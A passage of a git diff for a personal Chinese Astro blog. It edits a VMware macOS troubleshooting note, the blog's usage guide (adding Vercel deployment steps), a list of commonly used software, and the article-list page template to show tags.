CPU。请关闭或重置虚拟机。 +## vmware安装苹果虚拟机卡在苹果图标位置不动或者最新AMD客户机操作系统已禁用 CPU。请关闭或重置虚拟机 修改虚拟机目录下`macOS 13.vmx`文件末尾加入 @@ -138,4 +138,4 @@ mouse.vusb.enable = "TRUE" ```bash virtualHW.version = "11"; -``` \ No newline at end of file +``` diff --git a/src/content/博客使用说明.md b/src/content/博客使用说明.md index c48ff46..57b75d1 100644 --- a/src/content/博客使用说明.md +++ b/src/content/博客使用说明.md @@ -1,11 +1,9 @@ --- -title: "博客使用说明" +title: "echoes博客使用说明" date: 2025-03-09T01:07:23Z tags: [] --- -# 博客使用说明 - 这是一个基于 Astro + React 构建的个人博客系统,具有文章管理、项目展示、观影记录、读书记录等功能。本文将详细介绍如何使用和配置这个博客系统。 ## 功能特点 @@ -82,6 +80,7 @@ tags: ["标签1", "标签2"] ### 文章列表展示 文章列表页面会自动获取所有文章并按日期排序展示,支持: + - 文章标题和摘要 - 发布日期 - 标签系统 @@ -90,30 +89,35 @@ tags: ["标签1", "标签2"] ## 项目展示 项目展示页面会自动从配置的 Git 平台获取你的项目信息,展示: + - 项目名称和描述 - Star 和 Fork 数 - 主要编程语言 - 最后更新时间 要启用项目展示,需要: + 1. 在 `consts.ts` 中配置相应平台的用户名 2. 如果需要访问私有仓库,配置相应的访问令牌 ## 观影和读书记录 系统会自动从豆瓣获取你的观影和读书记录,展示: + - 电影/书籍封面 - 标题 - 评分 - 观看/阅读日期 要启用此功能,需要: + 1. 在 `consts.ts` 中配置你的豆瓣 ID 2. 确保你的豆瓣观影/读书记录是公开的 ## 旅行地图 世界地图会根据 `VISITED_PLACES` 配置自动标记你去过的地方。支持: + - 中国省份级别的标记 - 世界国家级别的标记 - 交互式缩放和平移 @@ -122,6 +126,7 @@ tags: ["标签1", "标签2"] ## 主题切换 系统支持三种主题模式: + 1. 跟随系统 2. 手动切换浅色模式 3. 手动切换深色模式 @@ -131,6 +136,7 @@ tags: ["标签1", "标签2"] ## 性能优化 本博客系统采用了多项性能优化措施: + 1. 静态页面生成 2. 图片懒加载 3. 代码分割 @@ -139,15 +145,46 @@ tags: ["标签1", "标签2"] ## 部署说明 +### 传统部署 + 1. 构建项目: -```bash -npm run build -``` + + ```bash + npm run build + ``` 2. 构建产物位于 `dist` 目录 3. 将 `dist` 目录部署到你的服务器或静态托管平台 +### Vercel 部署 + +Vercel 提供了最简单的部署方式,只需要几个步骤: + +1. 在 GitHub 上创建你的项目仓库并推送代码 + +2. 访问 [Vercel](https://vercel.com) 并使用 GitHub 账号登录 + +3. 点击 "New Project",然后选择你的博客仓库 + +4. 配置部署选项: + - Framework Preset: 选择 "Astro" + - Build Command: 保持默认的 `npm run build` + - Output Directory: 保持默认的 `dist` + - Install Command: 保持默认的 `npm install` + +5. 点击 "Deploy" 按钮 + +部署完成后,Vercel 会自动为你的项目分配一个域名。你也可以在项目设置中添加自定义域名。 + +**优势:** + +- 自动构建和部署 +- 自动 HTTPS +- 全球 CDN +- 自动预览部署(每个 PR 都会生成预览链接) +- 零配置持续部署 + ## 常见问题 1. **图片无法显示** @@ -166,6 +203,7 @@ npm run build ## 更新日志 ### 2024-03-21 + - 初始版本发布 - 支持基本的博客功能 - 集成豆瓣数据展示 @@ -186,7 +224,3 @@ npm run build 1. 代码符合项目的代码风格 2. 新功能有适当的测试覆盖 3. 文档已经更新 - -## 许可证 - -本项目采用 MIT 许可证。 \ No newline at end of file diff --git a/src/content/常用软件.md b/src/content/常用软件.md index 6e869c6..36d381e 100644 --- a/src/content/常用软件.md +++ b/src/content/常用软件.md @@ -120,7 +120,7 @@ date: 2023-04-28T20:56:00Z --- -* [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden ](https://bitwarden.com/)的第三方 Docker 项目。 +* [vaultwarden](https://github.com/dani-garcia/vaultwarden):密码管理器,[Bitwarden](https://bitwarden.com/)的第三方 Docker 项目。 * [AList](https://alist.nn.ci/zh/):支持多种文件储存,支持 WebDAV * [思源笔记](https://b3log.org/siyuan/):支持web端 * [Gitea](https://about.gitea.com/):支持基于 Git 创建和管理存储库 @@ -134,7 +134,7 @@ date: 2023-04-28T20:56:00Z * [OpenSSH](https://www.openssh.com/):SSH连接工具 * `Wget` `curl`:从网络上获取或发送数据 * [vim](https://www.vim.org/):文本编辑器 -* [Git](https://git-scm.com/)​: 分布式版本控制系统 +* [Git](https://git-scm.com/):分布式版本控制系统 * [Zsh](https://www.zsh.org/):是一款功能强大、灵活可定制的shell * [哪吒面板](https://nezha.wiki/):服务器监控与运维工具 * [screenfetch](https://github.com/KittyKatt/screenFetch):屏幕截图 @@ -168,4 +168,4 @@ date: 2023-04-28T20:56:00Z * 单价游戏: * [土豆资源库](http://tdtd.chat/index) - * [3DMGAME](https://bbs.3dmgame.com/forum.php) \ No newline at end of file + * [3DMGAME](https://bbs.3dmgame.com/forum.php) diff --git a/src/pages/articles/index.astro b/src/pages/articles/index.astro index 468a14c..400def6 100644 --- a/src/pages/articles/index.astro +++ b/src/pages/articles/index.astro @@ -322,10 +322,10 @@ function getArticleUrl(articleId: string) { -
    +

    {article.data.title}

    {article.body && ( -

    +

    {extractSummary(article.body)}

    )} @@ -333,8 +333,17 @@ function getArticleUrl(articleId: string) { - 阅读全文 + 阅读全文
    + {article.data.tags && article.data.tags.length > 0 && ( +
    + {article.data.tags.map(tag => ( + + #{tag} + + ))} +
    + )}
    @@ -383,10 +392,10 @@ function getArticleUrl(articleId: string) { -
    +

    {article.data.title}

    {article.body && ( -

    +

    {extractSummary(article.body)}

    )} @@ -394,8 +403,17 @@ function getArticleUrl(articleId: string) { - 阅读全文 + 阅读全文
    + {article.data.tags && article.data.tags.length > 0 && ( +
    + {article.data.tags.map(tag => ( + + #{tag} + + ))} +
    + )}